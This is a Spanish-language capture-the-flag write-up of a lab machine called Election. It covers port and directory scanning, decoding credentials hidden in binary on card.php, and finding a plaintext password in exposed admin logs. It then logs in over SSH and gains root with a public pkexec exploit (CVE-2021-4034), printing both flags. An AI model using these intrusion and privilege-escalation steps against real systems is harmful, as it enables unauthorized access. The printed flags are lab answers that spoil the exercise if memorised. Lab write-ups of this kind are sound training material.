Escaneo de puertos

```
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>

nmap -sCV -p<PORTS> <IP>
```

Info:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-09 15:48 EDT
Nmap scan report for 192.168.5.178
Host is up (0.00049s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 20:d1:ed:84:cc:68:a5:a7:86:f0:da:b8:92:3f:d9:67 (RSA)
|   256 78:89:b3:a2:75:12:76:92:2a:f9:8d:27:c1:08:a7:b9 (ECDSA)
|_  256 b8:f4:d6:61:cf:16:90:c5:07:18:99:b0:7c:70:fd:c0 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 00:0C:29:FF:DF:63 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.01 seconds
```

Gobuster

```
gobuster dir -u http://<IP>/ -w <PORT> -x html,php,txt -t 50 -k -r
```

Info:

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.178/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 278]
/.htpasswd.php        (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/.htpasswd.txt        (Status: 403) [Size: 278]
/.htpasswd.html       (Status: 403) [Size: 278]
/.htaccess.php        (Status: 403) [Size: 278]
```

```
/.htaccess.txt        (Status: 403) [Size: 278]
/.htaccess.html       (Status: 403) [Size: 278]
/election             (Status: 200) [Size: 7003]
/index.html           (Status: 200) [Size: 10918]
/javascript           (Status: 403) [Size: 278]
/robots.txt           (Status: 200) [Size: 30]
/robots.txt           (Status: 200) [Size: 30]
/phpinfo.php          (Status: 200) [Size: 95410]
/server-status        (Status: 403) [Size: 278]
/phpmyadmin           (Status: 200) [Size: 10531]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================
```

Por lo que vemos nos interesa `/selection`, por lo que tiraremos otro `gobuster` a `/selection` ya que dentro de ese archivo hay una pagina web simplona...

```
gobuster dir -u http://<IP>/election/ -w <WORDLIST> -x html,php,txt -t 50 -k -r
```

Info:

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.178/election/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess.html       (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/.htpasswd.php        (Status: 403) [Size: 278]
/.htpasswd.txt        (Status: 403) [Size: 278]
/.htpasswd.html       (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/.htaccess.php        (Status: 403) [Size: 278]
/.htaccess.txt        (Status: 403) [Size: 278]
/admin                (Status: 200) [Size: 8964]
/card.php             (Status: 200) [Size: 1935]
/data                 (Status: 200) [Size: 765]
/index.php            (Status: 200) [Size: 7003]
/js                   (Status: 200) [Size: 988]
/languages            (Status: 200) [Size: 1364]
/lib                  (Status: 200) [Size: 966]
/media                (Status: 200) [Size: 1753]
/themes               (Status: 200) [Size: 963]
Progress: 81876 / 81880 (100.00%)
```

```
===============================================================
Finished
===============================================================
```

Nos interesan sobre todo `/admin` y `/card.php`, si nos metemos en `admin` veremos un panel de login el cual tenemos 5 intentos de login, pero si nos metemos en `card.php` veremos lo siguiente...

```
00110000 00110001 00110001 00110001 00110000 00110001 00110000 00110001 00100000
00110000 00110001 00110001 00110001 00110000 00110000 00110001 00110001 00100000
00110000 00110001 00110001 00110000 00110000 00110001 00110000 00110001 00100000
00110000 00110001 00110001 00110001 00110000 00110000 00110001 00110000 00100000
00110000 00110000 00110001 00110001 00110001 00110000 00110001 00110000 00100000
00110000 00110000 00110001 00110001 00110000 00110000 00110000 00110001 00100000
00110000 00110000 00110001 00110001 00110000 00110000 00110001 00110000 00100000
00110000 00110000 00110001 00110001 00110000 00110000 00110001 00110001 00100000
00110000 00110000 00110001 00110001 00110000 00110001 00110000 00110000 00100000
00110000 00110000 00110000 00110000 00110001 00110000 00110001 00110000 00100000
00110000 00110001 00110001 00110001 00110000 00110000 00110000 00110000 00100000
00110000 00110001 00110001 00110000 00110000 00110000 00110000 00110001 00100000
00110000 00110001 00110001 00110001 00110000 00110000 00110001 00110001 00100000
00110000 00110001 00110001 00110001 00110000 00110000 00110001 00110001 00100000
00110000 00110000 00110001 00110001 00110001 00110000 00110001 00110000 00100000
00110000 00110001 00110000 00110001 00110001 00110000 00110001 00110000 00100000
00110000 00110001 00110001 00110001 00110001 00110000 00110000 00110000 00100000
00110000 00110001 00110001 00110000 00110000 00110000 00110001 00110001 00100000
00110000 00110000 00110001 00110001 00110000 00110000 00110000 00110001 00100000
00110000 00110000 00110001 00110001 00110000 00110000 00110001 00110000 00100000
00110000 00110000 00110001 00110001 00110000 00110000 00110001 00110001 00100000
00110000 00110000 00110001 00110000 00110000 00110000 00110000 00110001 00100000
00110000 00110001 00110000 00110000 00110000 00110000 00110000 00110000 00100000
00110000 00110000 00110001 00110000 00110000 00110000 00110001 00110001
```

Por lo que parece es un codigo binario que esta codificado, por lo que lo decodificaremos...

URL = https://es.convertbinary.com/de-binario-a-texto/

Cuando lo decodificamos una vez vemos esto...

```
01110101 01110011 01100101 01110010 00111010 00110001 00110010 00110011 00110100
00001010 01110000 01100001 01110011 01110011 00111010 01011010 01111000 01100011
00110001 00110010 00110011 00100001 01000000 00100011
```

Pero si lo volvemos a decodificar, veremos lo siguiente...

```
user:1234
pass:Zxc123!@#
```

Las credenciales para logearnos en `/admin`, por lo que cuando nos registremos estaremos en el panel de administrador de la pagina...

Pero no hay mucho que hacer por lo que veremos mas a fondo los subdirectorios que puede haber en `/admin`...

```
gobuster dir -u http://<IP>/election/admin/ -w <WORDLIST> -x html,php,txt -t 50 -k -r
```

Info:

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.178/election/admin/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 278]
/.htpasswd.txt        (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/.htaccess.txt        (Status: 403) [Size: 278]
/.htaccess.php        (Status: 403) [Size: 278]
/.htpasswd.html       (Status: 403) [Size: 278]
/.htpasswd.php        (Status: 403) [Size: 278]
/.htaccess.html       (Status: 403) [Size: 278]
/ajax                 (Status: 200) [Size: 3699]
/components           (Status: 200) [Size: 2242]
/css                  (Status: 200) [Size: 2251]
/dashboard.php        (Status: 200) [Size: 22]
/img                  (Status: 200) [Size: 1605]
/inc                  (Status: 200) [Size: 1394]
/index.php            (Status: 200) [Size: 8964]
/js                   (Status: 200) [Size: 5342]
/live.php             (Status: 200) [Size: 22]
/logout.php           (Status: 200) [Size: 83]
/logs.php             (Status: 200) [Size: 22]
/logs                 (Status: 200) [Size: 984]
/plugins              (Status: 200) [Size: 1203]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================

URL = http://<IP>/election/admin/logs/
```

Vemos que nos descubrio varias cosas interesantes, entre ellas los `/logs` en los cuales podremos ver lo que ha echo el ususario `love`, se nos descargara un archivo...

```
[2020-01-01 00:00:00] Assigned Password for the user love: P@$$w0rd@123
[2020-04-03 00:13:53] Love added candidate 'Love'.
[2020-04-08 19:26:34] Love has been logged in from Unknown IP on Firefox (Linux).
[2024-06-10 01:27:17] Love has been logged in from Unknown IP on Firefox (Linux).
[2024-06-10 01:33:21] Love changed homepage theme to shards.
[2024-06-10 01:38:47] Love updated candidate data (ID = 76).
[2024-06-10 01:38:53] Love updated candidate data (ID = 76).
[2024-06-10 01:42:34] Love updated candidate data (ID = 76).
[2024-06-10 01:42:34] Love updated candidate data (ID = 76).
```

```
[2024-06-10 01:42:34] Love updated candidate data (ID = 76).
[2024-06-10 01:42:34] Love updated candidate data (ID = 76).
[2024-06-10 01:42:34] Love updated candidate data (ID = 76).
[2024-06-10 01:45:23] Love added candidate 'Admin'.
[2024-06-10 01:45:47] Love updated candidate data (ID = 77).
[2024-06-10 17:26:24] Love has been logged in from Unknown IP on Firefox (Linux).
[2024-06-10 17:38:07] Love has been logged out from Unknown IP.
[2024-06-10 17:38:11] Love has been logged in from Unknown IP on Firefox (Linux).
[2024-06-10 17:42:48] Love changed his/her profile photo.
[2024-06-10 17:43:20] [ERROR.ADMPHOTO] Unsupported source file format!
[2024-06-10 17:43:45] Love changed his/her profile photo.
[2024-06-10 17:44:40] [ERROR.ADMPHOTO] Unsupported source file format!
[2024-06-10 17:49:11] Love has been logged out from Unknown IP.
[2024-06-10 17:49:14] Love has been logged in from Unknown IP on Firefox (Linux).
[2024-06-10 17:51:03] [ERROR.ADMPHOTO] Unsupported source file format!
[2024-06-10 17:56:06] Love has been logged in from Unknown IP on Firefox (Linux).
[2024-06-10 17:58:14]  has been logged out from Unknown IP.
```

En la siguiente linea veremos un inicio de sesion, por lo que probaremos a conectarenos por `ssh`...

```
[2020-01-01 00:00:00] Assigned Password for the user love: P@$$w0rd@123

ssh love@<IP>
```

Si probamos esa contraseña nos habremos metido por `ssh` con el usuario `love`...

Si nos vamos a `/home/love/Desktop` veremos la flag...

> user.txt (flag1)

```
cd38ac698c0d793a5236d01003f692b0
```

Si nos vamos a `/var/www/` veremos un `.bash_history` bastante interesante, por lo que parece tiene un exploit la maquina y se utiliza el `gcc`...

Si hacemos lo siguiente...

```
find / -type f -perm -4000 -ls 2>/dev/null
```

Info:

```
-rwsr-xr-x 1 root root 22528 Jun 28  2019 /usr/bin/arping
-rwsr-xr-x 1 root root 59640 Mar 23  2019 /usr/bin/passwd
-rwsr-xr-x 1 root root 22520 Mar 27  2019 /usr/bin/pkexec
-rwsr-xr-x 1 root root 18448 Jun 28  2019 /usr/bin/traceroute6.iputils
-rwsr-xr-x 1 root root 40344 Mar 23  2019 /usr/bin/newgrp
-rwsr-xr-x 1 root root 44528 Mar 23  2019 /usr/bin/chsh
-rwsr-xr-x 1 root root 76496 Mar 23  2019 /usr/bin/chfn
-rwsr-xr-x 1 root root 75824 Mar 23  2019 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 149080 Jan 31  2020 /usr/bin/sudo
-rwsr-xr-- 1 root dip 382696 Feb 11  2020 /usr/sbin/pppd
-rwsr-xr-x 1 root root 6319088 Nov 29  2017 /usr/local/Serv-U/Serv-U
-rwsr-xr-x 1 root root 14328 Mar 27  2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 436552 Mar  4  2019 /usr/lib/openssh/ssh-keysign
-rwsr-xr-- 1 root messagebus 42992 Jun 10  2019 /usr/lib/dbus-1.0/dbus-daemon-launch-
helper
-rwsr-sr-x 1 root root 10232 Dec 18  2019 /usr/lib/xorg/Xorg.wrap
```

```
-rwsr-xr-x 1 root root 30800 Aug 11  2016 /bin/fusermount
-rwsr-xr-x 1 root root 64424 Jun 28  2019 /bin/ping
-rwsr-xr-x 1 root root 26696 Mar  5  2020 /bin/umount
-rwsr-xr-x 1 root root 43088 Mar  5  2020 /bin/mount
-rwsr-xr-x 1 root root 44664 Mar 23  2019 /bin/su
-rwsr-xr-x 1 root root 40152 Aug 23  2019 /snap/core/7917/bin/mount
-rwsr-xr-x 1 root root 44168 May  8  2014 /snap/core/7917/bin/ping
-rwsr-xr-x 1 root root 44680 May  8  2014 /snap/core/7917/bin/ping6
-rwsr-xr-x 1 root root 40128 Mar 25  2019 /snap/core/7917/bin/su
-rwsr-xr-x 1 root root 27608 Aug 23  2019 /snap/core/7917/bin/umount
-rwsr-xr-x 1 root root 71824 Mar 25  2019 /snap/core/7917/usr/bin/chfn
-rwsr-xr-x 1 root root 40432 Mar 25  2019 /snap/core/7917/usr/bin/chsh
-rwsr-xr-x 1 root root 75304 Mar 25  2019 /snap/core/7917/usr/bin/gpasswd
-rwsr-xr-x 1 root root 39904 Mar 25  2019 /snap/core/7917/usr/bin/newgrp
-rwsr-xr-x 1 root root 54256 Mar 25  2019 /snap/core/7917/usr/bin/passwd
-rwsr-xr-x 1 root root 136808 Jun 11  2019 /snap/core/7917/usr/bin/sudo
-rwsr-xr-- 1 root systemd-resolve 42992 Jun 11  2019 /snap/core/7917/usr/lib/dbus-
1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 428240 Mar  4  2019 /snap/core/7917/usr/lib/openssh/ssh-
keysign
-rwsr-sr-x 1 root root 106696 Oct  1  2019 /snap/core/7917/usr/lib/snapd/snap-confine
-rwsr-xr-- 1 root dip 394984 Jun 12  2018 /snap/core/7917/usr/sbin/pppd
-rwsr-xr-x 1 root root 40152 May 16  2019 /snap/core/7270/bin/mount
-rwsr-xr-x 1 root root 44168 May  8  2014 /snap/core/7270/bin/ping
-rwsr-xr-x 1 root root 44680 May  8  2014 /snap/core/7270/bin/ping6
-rwsr-xr-x 1 root root 40128 Mar 25  2019 /snap/core/7270/bin/su
-rwsr-xr-x 1 root root 27608 May 16  2019 /snap/core/7270/bin/umount
-rwsr-xr-x 1 root root 71824 Mar 25  2019 /snap/core/7270/usr/bin/chfn
-rwsr-xr-x 1 root root 40432 Mar 25  2019 /snap/core/7270/usr/bin/chsh
-rwsr-xr-x 1 root root 75304 Mar 25  2019 /snap/core/7270/usr/bin/gpasswd
-rwsr-xr-x 1 root root 39904 Mar 25  2019 /snap/core/7270/usr/bin/newgrp
-rwsr-xr-x 1 root root 54256 Mar 25  2019 /snap/core/7270/usr/bin/passwd
-rwsr-xr-x 1 root root 136808 Jun 11  2019 /snap/core/7270/usr/bin/sudo
-rwsr-xr-- 1 root systemd-resolve 42992 Jun 11  2019 /snap/core/7270/usr/lib/dbus-
1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 428240 Mar  4  2019 /snap/core/7270/usr/lib/openssh/ssh-
keysign
-rwsr-sr-x 1 root root 102600 Jun 21  2019 /snap/core/7270/usr/lib/snapd/snap-confine
-rwsr-xr-- 1 root dip 394984 Jun 12  2018 /snap/core/7270/usr/sbin/pppd
-rwsr-xr-x 1 root root 43088 Oct 16  2018 /snap/core18/1066/bin/mount
-rwsr-xr-x 1 root root 64424 Mar 10  2017 /snap/core18/1066/bin/ping
-rwsr-xr-x 1 root root 44664 Mar 23  2019 /snap/core18/1066/bin/su
-rwsr-xr-x 1 root root 26696 Oct 16  2018 /snap/core18/1066/bin/umount
-rwsr-xr-x 1 root root 76496 Mar 23  2019 /snap/core18/1066/usr/bin/chfn
-rwsr-xr-x 1 root root 44528 Mar 23  2019 /snap/core18/1066/usr/bin/chsh
-rwsr-xr-x 1 root root 75824 Mar 23  2019 /snap/core18/1066/usr/bin/gpasswd
-rwsr-xr-x 1 root root 40344 Mar 23  2019 /snap/core18/1066/usr/bin/newgrp
-rwsr-xr-x 1 root root 59640 Mar 23  2019 /snap/core18/1066/usr/bin/passwd
-rwsr-xr-x 1 root root 149080 Jan 18  2018 /snap/core18/1066/usr/bin/sudo
-rwsr-xr-- 1 root systemd-resolve 42992 Jun 10  2019 /snap/core18/1066/usr/lib/dbus-
1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 436552 Mar  4  2019 /snap/core18/1066/usr/lib/openssh/ssh-
keysign
-rwsr-xr-x 1 root root 43088 Aug 23  2019 /snap/core18/1223/bin/mount
-rwsr-xr-x 1 root root 64424 Jun 28  2019 /snap/core18/1223/bin/ping
```

```
-rwsr-xr-x 1 root root 44664 Mar 23  2019 /snap/core18/1223/bin/su
-rwsr-xr-x 1 root root 26696 Aug 23  2019 /snap/core18/1223/bin/umount
-rwsr-xr-x 1 root root 76496 Mar 23  2019 /snap/core18/1223/usr/bin/chfn
-rwsr-xr-x 1 root root 44528 Mar 23  2019 /snap/core18/1223/usr/bin/chsh
-rwsr-xr-x 1 root root 75824 Mar 23  2019 /snap/core18/1223/usr/bin/gpasswd
-rwsr-xr-x 1 root root 40344 Mar 23  2019 /snap/core18/1223/usr/bin/newgrp
-rwsr-xr-x 1 root root 59640 Mar 23  2019 /snap/core18/1223/usr/bin/passwd
-rwsr-xr-x 1 root root 149080 Jan 18  2018 /snap/core18/1223/usr/bin/sudo
-rwsr-xr-- 1 root systemd-resolve 42992 Jun 10  2019 /snap/core18/1223/usr/lib/dbus-
1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 436552 Mar  4  2019 /snap/core18/1223/usr/lib/openssh/ssh-
keysign
```

Vemos que tenemos permisos `SUID` en el directorio de `love` y tambien vemos un `pkexec` por lo que haremos lo siguiente...

```
-rwsr-xr-x 1 root root 22520 Mar 27  2019 /usr/bin/pkexec
```

Esto actua como un `/bin/bash` que tiene permisos `SUID`, por lo que haremos lo siguiente...

URL = https://github.com/Almorabea/pkexec-exploit

Esto nos lo llevaremos al servidor victima, ya sea copiando el contenido de `python` o transferirlo con algun comando como `curl` o `wget`, una vez teniendolo dentro...

```
chmod +x CVE-2021-4034.py

python3 CVE-2021-4034.py
```

Info:

```
Do you want to choose a custom payload? y/n (n use default payload)  n
[+] Cleaning pervious exploiting attempt (if exist)
[+] Creating shared library for exploit code.
[+] Finding a libc library to call execve
[+] Found a library at <CDLL 'libc.so.6', handle 7f344a8d9000 at 0x7f344a761780>
[+] Call execve() with chosen payload
[+] Enjoy your root shell
# whoami
root
#
```

Con esto ya seriamos `root`, ahora leeremos la flag...

root.txt (flag2)

```
5238feefc4ffe09645d97e9ee49bc3a6
```